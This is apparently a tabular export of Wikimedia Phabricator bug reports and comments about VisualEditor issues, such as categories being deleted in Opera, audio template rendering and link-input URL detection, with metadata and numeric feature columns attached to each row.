+236115,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Funnily, my testing shows that the categories are only moved inside the reference if it contains a template. Inserting an empty or text-only reference results in the cateogires eing killed entirely.",,,1373035435,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+236109,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Eh, it seems to be Opera-specific after all, I can't reproduce on Firefox (but it reproduces reliably in Opera).",,,1372504054,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+236103,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"(In reply to comment #1)
+> Another is
+> https://pl.wikipedia.org/w/index.
+> php?title=Waldemar_Kasta&diff=36944980&oldid=36944831
+
+Bartosz,
+
+Both these corruptions were by you - were both of them made using Opera? If so, I'm happy to mark this bug out to you (but please clean up after yourself when editing using a blacklisted browser).",,,1372472137,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+236095,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Very strange, looks like metadata is being moved somehow. Do we have any information about what the editors did to provoke this?",,,1372468169,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,False,,,-1,,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+236088,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),Another is https://pl.wikipedia.org/w/index.php?title=Waldemar_Kasta&diff=36944980&oldid=36944831 .,,,1372445852,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52365,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,"Screenshot
+
+Firefox 21.0, Windows 7 - see screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49896
+
+**Attached**: {F11161}",Low,25.0,1372417620,1539835123.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-6fjqaicfdcw65wigvygy,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+1161181,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,"Looks perfect now.
+{F26621568}",,,1539835123,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6fjqaicfdcw65wigvygy,task_subcomment,,True,c1,3,True,,,276,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+1152595,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,"It looks better today than in that screenshot, but still a bit funny:
+https://en.wikipedia.org/wiki/Rage_Against_the_Machine?veaction=edit&section=3#1992–2000%3A_Mainstream_success
+{F26280267}
+…But I am 99% sure it will be fixed completely by T201081 (which will swap from using a `<video>` with a fake thumbnail to using `<audio>`). We should test this after that is deployed.
+
+Note that it will display using the HTML5 `<audio>` player in your browser, rather than actual TMH interface. I think attempting to load TMH here is unnecessary, since you can't interact with the element to play it, anyway.",,,1538513327,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6fjqaicfdcw65wigvygy,task_subcomment,,True,c1,3,True,,,274,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+234691,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,This looks like it is caused by bug 49896.,,,1375050061,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-6fjqaicfdcw65wigvygy,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52360,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol","This is a legacy of wiki-syntax, where all external links have to begin with the protocol. It would be nice to make the VE link inspector smarter than this.
+
+""www.google.com"" is almost certainly meant to be an external link - if there is an article by this name, then it could be shown in the link inspector dropdown as well, but the option for ""External link"" definitely needs to be there. Even something like ""royal.gov.uk"" should be recognised as a URL.
+
+Requiring ""http://"" or some other protocol at the start is confusing for the newbie, as the protocol component of URLs is generally ignored nowadays.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372414560,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-qdoykgze5mrfb2vlwluc,task_description,open,True,c1,2,False,False,,-1,,1,1,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+504991,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol","So we now have a separate external link input, but it shows URLs without a protocol as invalid :/",,,1439170185,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,110,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+335540,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol",">>! In T52360#542816, @Krinkle wrote:
+> We solved this to some degree in WikiEditor with the link dialog in that extension. We can probably re-use some of that logic.
+
+https://github.com/wikimedia/mediawiki-extensions-WikiEditor/blob/master/modules/jquery.wikiEditor.dialogs.config.js#L131
+
+By looking for www.? Yeah, that doesn't work. phabricator.wikimedia.org should be recognised, as well as the bug creator's suggestion of royal.gov.uk.
+
+Sounds like {T76398} would fix this by having the user deal with it instead.",,,1417555457,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,74,,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+234479,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol",*** Bug 56490 has been marked as a duplicate of this bug. ***,,,1402609062,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234474,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol",We solved this to some degree in WikiEditor with the link dialog in that extension. We can probably re-use some of that logic.,,,1373369726,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52340,VisualEditor: FlaggedRevs status box causes blank space down the right side of CE content div,"Screenshot of bug
+
+1. Go to [[de:Special:PendingChanges]]
+2. Visit one of the linked articles and edit it in VE
+
+Notice the wide right margin, caused by the floating FlaggedRevs status box.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11085}",Low,25.0,1372388280,1405449142.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-q7kvrcess52gstbba6tv,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+233251,VisualEditor: FlaggedRevs status box causes blank space down the right side of CE content div,"Indeed, probably fixed a while ago…",,,1405449142,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q7kvrcess52gstbba6tv,task_subcomment,,True,c1,3,True,,,54,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+233247,VisualEditor: FlaggedRevs status box causes blank space down the right side of CE content div,Seems fixed?,,,1405410026,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-q7kvrcess52gstbba6tv,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+52239,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","At the moment adding categories (through ""page settings"") involves turning away from the actual content. This is a problem because a lot of categories are dependent on the actual content, which needs to be referred back to - birth or death years, college, etc, etc.
+
+Suggestion is:
+* Show the existing categories in the standard skin location (at the bottom of the page, in Vector)
+* Make the categories editable there, in some way.
+
+----
+Original onwiki comments were [[https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_6#Categories_-_display_them.2C_please |archive 6]] 
+> I can see categories when I read an article. I can see them below the editing paraphernalia when I'm in Edit Source. But in VE I can only see them by clicking ""Page Settings"", which (a) takes a click and (b) means I can't see any of the article content (eg the hard-to-remember-the-spelling district name, the birth date, etc which I might want to use in creating categories, having seen that they aren't already there). Please display the categories in or around the article, not just as ""Page settings"".
+and [[https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_7#Categories:_please_display_them_in_VE_-_not_the_right_bug |archive 7]]:
+> I want to be able to see the categories when I've got an article open in VE: just as I can see them when reading the article, or when editing it in Edit Source. I don't want to have to click on ""Page Data"" to find out whether or not it's already got categories.
+
+--------------------------
+See also: {T67518}
+
+merged duplicates: {T53153} and {T71506}
+",Low,25.0,1372262760,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_description,open,True,c1,2,False,False,,-1,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+513658,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat",">>! In T52239#1562999, @John_Broughton wrote:
+> It would be a definite improvement if the user could reach categories either via a top menu, or by scrolling to the bottom of the page. As several people have pointed out, there are disadvantages of the user being able to do only one of these, and - of course - there is no reason, from a programming viewpoint, why there can't be two paths to the same dialog.
+> 
+> So yes, I support (a) making existing categories visible at the bottom of a page, when in editing mode, (b) having something at the bottom of the page that, when clicked, will open the dialog where categories can be added or deleted, and (c) leaving that dialog accessible via the Pages options menu.
+
+This sounds like a good path forward. It gives two paths to one dialog rather than two different dialogs. Hopefully, we can also extend the bottom-of-the-page experience to the read mode at some point.",,,1440439943,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,112,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+512714,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","It would be a definite improvement if the user could reach categories either via a top menu, or by scrolling to the bottom of the page. As several people have pointed out, there are disadvantages of the user being able to do only one of these, and - of course - there is no reason, from a programming viewpoint, why there can't be two paths to the same dialog.
+
+So yes, I support (a) making existing categories visible at the bottom of a page, when in editing mode, (b) having something at the bottom of the page that, when clicked, will open the dialog where categories can be added or deleted, and (c) leaving that dialog accessible via the Pages options menu.",,,1440205952,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,111,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+502024,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","I was pointed to this bug because of a feedback comment. I mostly see discussion about category editing on the page itself. Another feature hotcat offers is to navigate the category-tree, so it is quite simple to put an article in a subcat, or to bring it to a category above it. Can that feature be considered as well?",,,1438716633,,PHID-USER-roxczeg7vc6hdylglkpt,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,109,,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0
+498761,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","How about extracting the categories editor and making it a beta feature as ""HotCatoid""?",,,1438159829,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0
+498601,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","Just reinforcing @whatamidoing-wmf's point. This is one of those features where some user feedback would be welcome indeed, to see whether we are planning to put the right effort in the right feature. My totally subjective impression is that editors seem to be happy with HotCat, where you don't need to deal with wikitext at all. IMHO HotCat's UI could welcome some enhancements, but editing categories at the bottom of the page (where categories are found) seems to be unproblematic.",,,1438123638,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+498593,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","Just reinforcing @whatamidoing-wmf's point. This is one of those features where some user feedback would be welcome indeed, to see whether we are planning to put the right effort in the right feature. My totally subjective impression is that editors seem to be happy with HotCat, where you don't need to deal with wikitext at all. IMHO UI could welcome some enhancements, but editing categories at the bottom of the page (where categories are found) seems to be unproblematic.",,,1438122984,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+498553,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","This has been discussed several times on wiki, and none of the experienced editors have mentioned concerns about having to scroll all the way to the end of the page.  However, if you're worried about that, then you could leave an item in the toolbar that either jumps to the end of the page, or that does exactly what it does now.",,,1438120605,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+496143,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat",">>! In T52239#1477765, @Jdforrester-WMF wrote:
+> Certainly I think this should only happen at the bottom of the page, not the window, yes.
+
+In that case, we'd either be duplicating controls (if we leave the current category interface in) or removing the ability to edit categories without a bunch of scrolling (if we take the current interface out).  ",,,1437699559,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+496136,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","Certainly I think this should only happen at the bottom of the page, not the window, yes.",,,1437699244,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+496124,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","I'm not sure this would actually be easier for the user. Currently, you can edit categories whenever you want without losing your place in the article; if we just stuck a category widget at the end of the document, you'd have to scroll all the way to the bottom every time you wanted to use it.
+
+We could prevent that by putting the widget in a static flyout at the bottom of the window (as opposed to at the bottom of the //document//). But that means taking more screen space with the interface and splitting the editing tools between two different locations. ",,,1437698404,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,107,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+252768,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat",*** Bug 69506 has been marked as a duplicate of this bug. ***,,,1414806319,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,69,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+252763,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","pamdavies7: It is not ""such a big ask"" and the problem is well understood. This is an enhancement request with low priority because there are currently more important things to do, but this will be handled at some point.
+In case you have a tech background, patches are welcome: http://www.mediawiki.org/wiki/Developer_access",,,1373886151,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,1,0,0
+252757,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","To expand on my point of 07-07: if I'm stub-sorting an article which already has categories, a common technique is to look at a key existing category, see if it has a stub category, if not then go to its parent category, and onwards up the tree (particularly useful in biological taxa etc which are so hierarchic); another technique is to assign a broad stub category and then look at the sub-categories of the stub-category, as being much quicker than going to the full stub listings. Neither of these approaches is possible with VE - I have to either open the article a second time in another tab, or quit VE and do it in Edit Source. 
+
+Please just display clickable links for the categories while I'm editing the article in VE. Is it such a big ask?",,,1373883409,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+252750,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","I've been told that [Wikipedia:VisualEditor/Feedback#Categories:_please_display_them_in_VE_-_not_the_right_bug my request] is covered by this bug, so I'll restate it here: please make the categories visible when I'm editing in VE. I can see them when I read an article, or while I'm editing in Edit Source, and I shouldn't have to click on ""Page Data"" to find out whether the article has been categorised or not.",,,1373238366,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+252744,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","We've discussed (but there's no bug for it - until now) duplicating the editing of categories in a box at the bottom of the article that would look similar to/the same as the category box in Vector (but with hidden categories shown, and inherited categories not shown). We'd have to properly design this, of course, so it may take a little time.
+
+There's also a proposal to make the dialogs themselves smaller - bug 49549 - and draggable - bug 49969.",,,1372270719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+52180,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","See the screenshot. I get that it's sort of a one-sided diff in a <poem> box, but it isn't particularly useful to review since no tweaks made by the VE that are problematic could be picked out; one would have to review the entire article, in markup.
+
+I'm not sure if there's a better way to work it or if the answer is just to kill it for new page creations, but.
+
+--------------------------
+**Version**: unspecified
